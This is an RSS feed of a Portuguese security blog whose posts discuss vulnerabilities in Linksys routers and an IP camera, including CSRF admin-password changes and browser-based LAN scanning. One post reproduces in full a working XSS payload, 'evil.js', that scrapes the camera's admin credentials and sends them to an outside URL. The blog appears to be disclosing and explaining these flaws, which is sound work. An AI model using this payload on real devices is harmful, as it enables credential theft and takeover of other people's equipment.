<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Falando de Segurança &#187; Roteadores</title>
	<atom:link href="http://www.falandodeseguranca.com/category/roteadores/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.falandodeseguranca.com</link>
	<description>Por Gabriel Lima</description>
	<lastBuildDate>Mon, 05 Jul 2010 17:14:49 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>Vídeo #2: Roteadores (Parte 2)</title>
		<link>http://www.falandodeseguranca.com/2009/05/video-2-roteadores-parte-2/</link>
		<comments>http://www.falandodeseguranca.com/2009/05/video-2-roteadores-parte-2/#comments</comments>
		<pubDate>Sun, 03 May 2009 22:56:57 +0000</pubDate>
		<dc:creator>Gabriel Lima</dc:creator>
				<category><![CDATA[Roteadores]]></category>
		<category><![CDATA[Vídeos (antigos)]]></category>

		<guid isPermaLink="false">http://www.falandodeseguranca.com/?p=57</guid>
		<description><![CDATA[Dando continuidade ao assunto Roteadores, o segundo vídeo do Falando de Segurança mostra como usar recursos do navegador (html e javascript) para detectar roteadores em uma rede local. Tais recursos podem ser usados por sites maliciosos para obter informações da rede da vítima. Usando o meu Linksys WRT54GC como exemplo, mostro como ter o retorno [...]]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: left; margin-right: 5px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.falandodeseguranca.com%2F2009%2F05%2Fvideo-2-roteadores-parte-2%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.falandodeseguranca.com%2F2009%2F05%2Fvideo-2-roteadores-parte-2%2F&amp;source=gabrielpato&amp;style=compact" height="61" width="50" /><br />
			</a>
		</div>
<p><img class="aligncenter" title="Roteadores" src="/images/roteadores.jpg" alt="" width="552" height="310" /></p>
<p>Dando continuidade ao assunto Roteadores, o segundo vídeo do Falando de Segurança mostra como usar recursos do navegador (html e javascript) para detectar roteadores em uma rede local. Tais recursos podem ser usados por sites maliciosos para obter informações da rede da vítima. Usando o meu Linksys WRT54GC como exemplo, mostro como ter o retorno do status de uma página web (se ela existe ou não) rodando em um determinado IP e como usar uma imagem do layout da administração web do roteador para identificar seu modelo. Também mostrei um pouco do funcionamento do projeto Javascript Lan Scanner.<br />
<a title="Falando de Segurança - Roteadores::Vídeo 2, Parte 2. Por Gabriel Lima" rel="lightbox[flash 960 720]" href="http://www.falandodeseguranca.com/video/2.flv"></a></p>
<h2><span style="color: #ff0000;"><a title="Falando de Segurança - Roteadores::Vídeo 2, Parte 2. Por Gabriel Lima" rel="lightbox[flash 960 720]" href="http://www.falandodeseguranca.com/video/2.flv"><strong>Para assistir (on-demand) clique aqui.</strong></a></span></h2>
<p><a title="Falando de Segurança - Roteadores::Vídeo 2, Parte 2. Por Gabriel Lima" rel="lightbox[flash 960 720]" href="http://www.falandodeseguranca.com/video/2.flv"><strong><span style="color: #ff0000;"><span style="color: #000000;">Links citados:</span></span></strong></a></p>
<p><span style="color: #ff0000;"><span style="color: #000000;">JavaScript Lan Scanner: <a href="http://www.businessinfo.co.uk/labs/lan_scan/lan_scan.php" target="_blank">http://www.businessinfo.co.uk/labs/lan_scan/lan_scan.php</a> &#8211; autor: </span></span><a href="mailto:gareth@businessinfo.co.uk">Gareth Heyes</a></p>
<p>Página do projeto (informações, download, svn, etc):<a href="http://code.google.com/p/jslanscanner/" target="_blank"> http://code.google.com/p/jslanscanner/</a></p>
<p><span style="color: #ff0000;"><strong>Comentários, dúvidas e sugestões são muito bem vindos.<br />
</strong></span></p>
]]></content:encoded>
			<wfw:commentRss>http://www.falandodeseguranca.com/2009/05/video-2-roteadores-parte-2/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Câmera IP da Linksys (WVC54GCA) vulnerável.</title>
		<link>http://www.falandodeseguranca.com/2009/04/camera-ip-da-linksys-vulneravel/</link>
		<comments>http://www.falandodeseguranca.com/2009/04/camera-ip-da-linksys-vulneravel/#comments</comments>
		<pubDate>Sun, 26 Apr 2009 07:48:57 +0000</pubDate>
		<dc:creator>Gabriel Lima</dc:creator>
				<category><![CDATA[Roteadores]]></category>
		<category><![CDATA[Segurança em Aplicações Web]]></category>
		<category><![CDATA[câmera]]></category>
		<category><![CDATA[cross-site scripting]]></category>
		<category><![CDATA[linksys]]></category>
		<category><![CDATA[WVC54GCA]]></category>
		<category><![CDATA[xss]]></category>

		<guid isPermaLink="false">http://www.falandodeseguranca.com/?p=30</guid>
		<description><![CDATA[Nos últimos dias, o site GNUCITIZEN esteve efetuando uma série de testes na Câmera IP da Linksys modelo WVC54GCA. O resultado já rendeu 4 posts repletos de descrições das falhas encontradas, que vão de transmissão da senha de administrador para o programa de instalação em texto puro (sem criptografia), até leitura de arquivos do sistema [...]]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: left; margin-right: 5px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.falandodeseguranca.com%2F2009%2F04%2Fcamera-ip-da-linksys-vulneravel%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.falandodeseguranca.com%2F2009%2F04%2Fcamera-ip-da-linksys-vulneravel%2F&amp;source=gabrielpato&amp;style=compact" height="61" width="50" /><br />
			</a>
		</div>
<p><img class="size-full wp-image-31 alignleft" title="WVC54GCA" src="http://www.falandodeseguranca.com/wp-content/uploads/2009/04/180_325153706_1.jpg" alt="WVC54GCA" width="180" height="180" /></p>
<p style="text-align: left;">Nos últimos dias, o site <a href="http://www.gnucitizen.org/" target="_blank">GNUCITIZEN</a> esteve efetuando uma série de testes na Câmera IP da Linksys modelo WVC54GCA. O resultado já rendeu 4 posts repletos de descrições das falhas encontradas, que vão de transmissão da senha de administrador para o programa de instalação em texto puro (sem criptografia), até leitura de arquivos do sistema do roteador apenas definindo seu path e nome pela URL</p>
<p style="text-align: left;">Os posts podem ser lidos aqui: <a href="http://www.gnucitizen.org/blog/hacking-linksys-ip-cameras-pt-1/" target="_blank">Parte 1</a>, <a href="http://www.gnucitizen.org/blog/hacking-linksys-ip-cameras-pt-2/" target="_blank">Parte 2</a>, <a href="http://www.gnucitizen.org/blog/hacking-linksys-ip-cameras-pt-3/">Parte 3</a>, P<a href="http://www.gnucitizen.org/blog/hacking-linksys-ip-cameras-pt-4/">arte 4</a>. Eu recomendo!</p>
<p style="text-align: left;">Mas o que gostaria de destacar disso tudo está na parte 4. Eu gosto de alertar sobre vulnerabilidades que muitos considerariam de baixo (ou nenhum) risco. O que podemos tirar do exemplo do WVC54GCA acontece em diversos roteadores e até websites.</p>
<p style="text-align: left;">Segundo o site GNUCITIZEN, na página de mudança de senha da câmera ( <code>/adm/file.cgi?next_file=pass_wd.htm )</code> o campo que define a mesma já vem previamente preenchido (contendo a senha atual). Apesar de o tipo do campo ser definido como password (veja, abaixo, em azul), isto não a protege, uma vez que o valor informado no campo pode ser lido visualizando o código HTML da página (Na maioria dos navegadores: Exibir &gt; Código Fonte).</p>
<pre>
<blockquote>
<pre><code>&lt;input <span style="color: blue;">type="password"</span> size="8" maxlength="64" name="admpw" <span style="color: red;">value="<strong>SenhaAqui</strong></span>"
onKeyDown="chkPsize(this.value.length,64,msg_bigpw)"&gt;</code></pre>
</blockquote>
</pre>
<p>O mesmo ocorre na página de mudança da senha Wireless.</p>
<p>Agora, o questionamento principal: <strong>Por que não dão a devida importancia a este tipo de falha?</strong> O pessoal do GNUCITIZEN respondeu incrivelmente:</p>
<p>No caso da senha da wireless, eles (aqueles que acreditam que a falha não apresenta risco) dizem que seria possível captura-la por outros meios (como, por exemplo, usando as ferramentas <a href="http://www.aircrack-ng.org/doku.php" target="_blank">do Aircrack Suite</a>) e, principalmente, que para estar lendo aquilo, o &#8220;hacker&#8221; já deveria estar na rede, ou seja, já saberia a senha wireless. <strong>Estão errados!</strong></p>
<p>Já quanto a senha do administrador, o argumento usado é que já que não há suporte a HTTPS (SSL), a conexão não é criptografada, por tanto, qualquer pessoa capturando pacotes da rede (<a title="Definição da Wikipedia" href="http://pt.wikipedia.org/wiki/Sniffing" target="_blank">sniffing</a>) poderia capturar a navegação do administrador, que contém, no cabeçalho, a autenticação (em base64). <strong>Novamente, errados!</strong></p>
<p>O ponto chave da questão é que não consideraram o tipo da falha que mais venho martelando aqui no blog: <strong>Cross-site Scripting (XSS)</strong>.</p>
<p>Qualquer possibilidade de injeção de um JavaScript no navegador de um administrador do roteador já seria o bastante para que ele, involuntariamente, enviasse a senha de administrador\da wireless para um script qualquer, na web. E este exploit só funcionaria porque o produto em questão retorna a senha em texto puro, já que ele simplesmente entraria (usando ajax) na página de mudança de senha, leria o código fonte utilizando filtros  e retornaria o resultado.</p>
<p>Um exploit de exemplo, para este modelo, foi escrito pelo GNUCITIZEN. Aqui está ele:</p>
<blockquote>
<div style="overflow: auto; height: 300px;">
<pre><code>// <strong>evil.js</strong> : malicious JS file, typically located on attacker's site
// payload description: steals Linksys WVC54GCA admin password via XSS
// tested on FF3 and IE7
// based on code from developer.apple.com
function loadXMLDoc(url) {
	req = false;
    	// branch for native XMLHttpRequest object
    	if(window.XMLHttpRequest &amp;&amp; !(window.ActiveXObject)) {
    		try {
			req = new XMLHttpRequest();
        	}
		catch(e) {
			req = false;
        	}
    	}
    	// branch for IE/Windows ActiveX version
	else if(window.ActiveXObject) {
       		try {
        		req = new ActiveXObject("Msxml2.XMLHTTP");
      		}
		catch(e)  {
        		try {
          			req = new ActiveXObject("Microsoft.XMLHTTP");
        		}
			catch(e) {
          			req = false;
        		}
		}
    	}
	if(req) {
		req.onreadystatechange = processReqChange;
		req.open("GET", url, true);
		req.send("");
	}
}
// end of loadXMLDoc(url)

function processReqChange() {
   	// only if req shows "loaded"
    	if (req.readyState == 4) {
        	// only if "OK"
        	if (req.status == 200) {
			var bits=req.responseText.split(/\"/);
			var gems="";
			// dirty credentials-scraping code
			for (i=0;i&lt;bits.length;++i) {
                                if(bits[i]=="adm" &amp;&amp; bits[i+1]==" value=") {
                               		gems+="login=";
					gems+=bits[i+2];
                                }
                                if(bits[i]=="admpw" &amp;&amp; bits[i+1]==" value=") {
                                       	gems+='&amp;password=';
					gems+=bits[i+2];
                                }
			}
			alert(gems); // this line is for demo purposes only and would be removed in a real attack
			c=new Image();
			c.src='http://google.com/x.php?'+gems; // URL should point to data-theft script on attacker's site
        	}
    	}
}

var url="/adm/file.cgi?next_file=pass_wd.htm";
loadXMLDoc(url);</code></pre>
</div>
</blockquote>
<p>Fonte: <a href="http://www.gnucitizen.org/" target="_blank">GNUCITIZEN</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.falandodeseguranca.com/2009/04/camera-ip-da-linksys-vulneravel/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Linksys WRT54GC: Vulnerabilidade no Web Admin</title>
		<link>http://www.falandodeseguranca.com/2009/04/linksys-wrt54gc-vulnerabilidade-no-web-admin/</link>
		<comments>http://www.falandodeseguranca.com/2009/04/linksys-wrt54gc-vulnerabilidade-no-web-admin/#comments</comments>
		<pubDate>Wed, 22 Apr 2009 15:06:24 +0000</pubDate>
		<dc:creator>Gabriel Lima</dc:creator>
				<category><![CDATA[Roteadores]]></category>
		<category><![CDATA[Segurança em Aplicações Web]]></category>

		<guid isPermaLink="false">http://www.falandodeseguranca.com/?p=17</guid>
		<description><![CDATA[Durante alguns testes que realizei no roteador que uso aqui em casa, o WRT54GC, da linha de compactos da linksys, encontrei algumas falhas. A primeira já foi publicada, e é gravissima: O script Administration.cgi (e possivelmente outros .cgi usados) não verifica se o usuário que envia um POST para ele está logado como administrador ou [...]]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: left; margin-right: 5px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.falandodeseguranca.com%2F2009%2F04%2Flinksys-wrt54gc-vulnerabilidade-no-web-admin%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.falandodeseguranca.com%2F2009%2F04%2Flinksys-wrt54gc-vulnerabilidade-no-web-admin%2F&amp;source=gabrielpato&amp;style=compact" height="61" width="50" /><br />
			</a>
		</div>
<p>Durante alguns testes que realizei no roteador que uso aqui em casa, o WRT54GC, da linha de compactos da linksys, encontrei algumas falhas. A primeira já foi publicada, e é gravissima: O script Administration.cgi (e possivelmente outros .cgi usados) não verifica se o usuário que envia um POST para ele está logado como administrador ou não. Desta forma, criando um formulário, é possivel modificar a senha do administrador sem que você tenha feito login. Um outro fator aumenta, ainda mais, o risco da falha: Ela funciona também na administração remota do router. Ou seja, se o roteador tiver habilitado uma porta para administração remota (Para IPs da web), esta pode ser usada para explorar a falha.</p>
<p>A Linksys (americana) já foi contatada e comunicaram que o PoC (prova de conceito da vulnerabilidade) que os enviei foi enviada para equipe de engenharia.</p>
<p>O Packet Storm Security e a Security Focus já publicaram a falha:<br />
<a href=" http://www.securityfocus.com/bid/34616/info" target="_blank">Link para a descrição da falha no Security Focus</a><br />
<a href="http://packetstormsecurity.org/0904-exploits/linksysadmin-passwd.txt" target="_blank">Link para o exploit de prova de conceito (PoC) da falha no Packet Storm Security<br />
</a></p>
<p>Ainda estou realizando análises neste roteador e possivelmente novos relatos estão por vir.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.falandodeseguranca.com/2009/04/linksys-wrt54gc-vulnerabilidade-no-web-admin/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Video #1: Roteadores (Parte 1)</title>
		<link>http://www.falandodeseguranca.com/2009/04/video-1-roteadores-csrf-e-mais-parte-1/</link>
		<comments>http://www.falandodeseguranca.com/2009/04/video-1-roteadores-csrf-e-mais-parte-1/#comments</comments>
		<pubDate>Wed, 22 Apr 2009 03:10:21 +0000</pubDate>
		<dc:creator>Gabriel Lima</dc:creator>
				<category><![CDATA[Roteadores]]></category>
		<category><![CDATA[Vídeos (antigos)]]></category>
		<category><![CDATA[cross-site request forgery]]></category>
		<category><![CDATA[csrf]]></category>
		<category><![CDATA[linksys]]></category>
		<category><![CDATA[video]]></category>

		<guid isPermaLink="false">http://www.falandodeseguranca.com/?p=8</guid>
		<description><![CDATA[Apesar de ainda estar testando formatos, aí está o primeiro vídeo do site. Levando o nome de &#8220;Roteadores&#8221;, inspirado pela fraca segurança dos roteadores residenciais, o vídeo exibe o conceito (de forma bem objetiva) e uma falha de Cross-site Request Forgery, além de uma grave vulnerabilidade descoberta por mim no roteador WRT54GC, da Linksys, que [...]]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: left; margin-right: 5px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.falandodeseguranca.com%2F2009%2F04%2Fvideo-1-roteadores-csrf-e-mais-parte-1%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.falandodeseguranca.com%2F2009%2F04%2Fvideo-1-roteadores-csrf-e-mais-parte-1%2F&amp;source=gabrielpato&amp;style=compact" height="61" width="50" /><br />
			</a>
		</div>
<p style="text-align: center;"><img class="aligncenter" title="Roteadores" src="/images/roteadores.jpg" alt="" width="552" height="310" /></p>
<p><img class="alignleft" src="http://www-br.linksys.com/servlet/Satellite?blobcol=urldata&amp;blobheadername1=Content-Type&amp;blobheadername2=Content-Disposition&amp;blobheadervalue1=image%2Fjpeg&amp;blobheadervalue2=inline%3B+filename%3Dwrt54gc%252C16.jpg&amp;blobkey=id&amp;blobtable=MungoBlobs&amp;blobwhere=1193778019870&amp;ssbinary=true" alt="" /><br />
Apesar de ainda estar testando formatos, aí está o primeiro vídeo do site. Levando o nome de &#8220;Roteadores&#8221;, inspirado pela fraca segurança dos roteadores residenciais, o vídeo exibe o conceito (de forma bem objetiva) e uma falha de Cross-site Request Forgery, além de uma grave vulnerabilidade descoberta por mim no roteador WRT54GC, da Linksys, que permite a qualquer um a alterar a senha de administrador da administração web deste modelo.</p>
<p>A parte 2 já está disponível. Para ve-la, <a href="http://www.falandodeseguranca.com/?p=57" target="_self">clique aqui.</a></p>
<p>Por ser o primeiríssimo vídeo, sugestões e comentários são muito bem vindos!</p>
<p>Vídeo #1 &#8211; Título: Roteadores (Parte 1)<br />
Conteúdo:</p>
<ul>
<li> Cross-Site Request Forgery (CSRF) &#8211; Conceito</li>
<li>Montando um formulário automático para mudança de senha via CSRF.</li>
<li>Falha de verificação de autenticação no Linksys WRT54GC</li>
</ul>
<h1><a title="Falando de Segurança - Roteadores::Vídeo 1, Parte 1. Por Gabriel Lima" rel="lightbox[flash 960 720]" href="http://www.falandodeseguranca.com/video/1.flv"><strong>Para assistir (on-demand), clique aqui.</strong></a></h1>
<p>URLs relacionadas:<br />
[#1] <a href="http://blogs.zdnet.com/BTL/?p=15197">http://blogs.zdnet.com/BTL/?p=15197</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.falandodeseguranca.com/2009/04/video-1-roteadores-csrf-e-mais-parte-1/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
	</channel>
</rss>
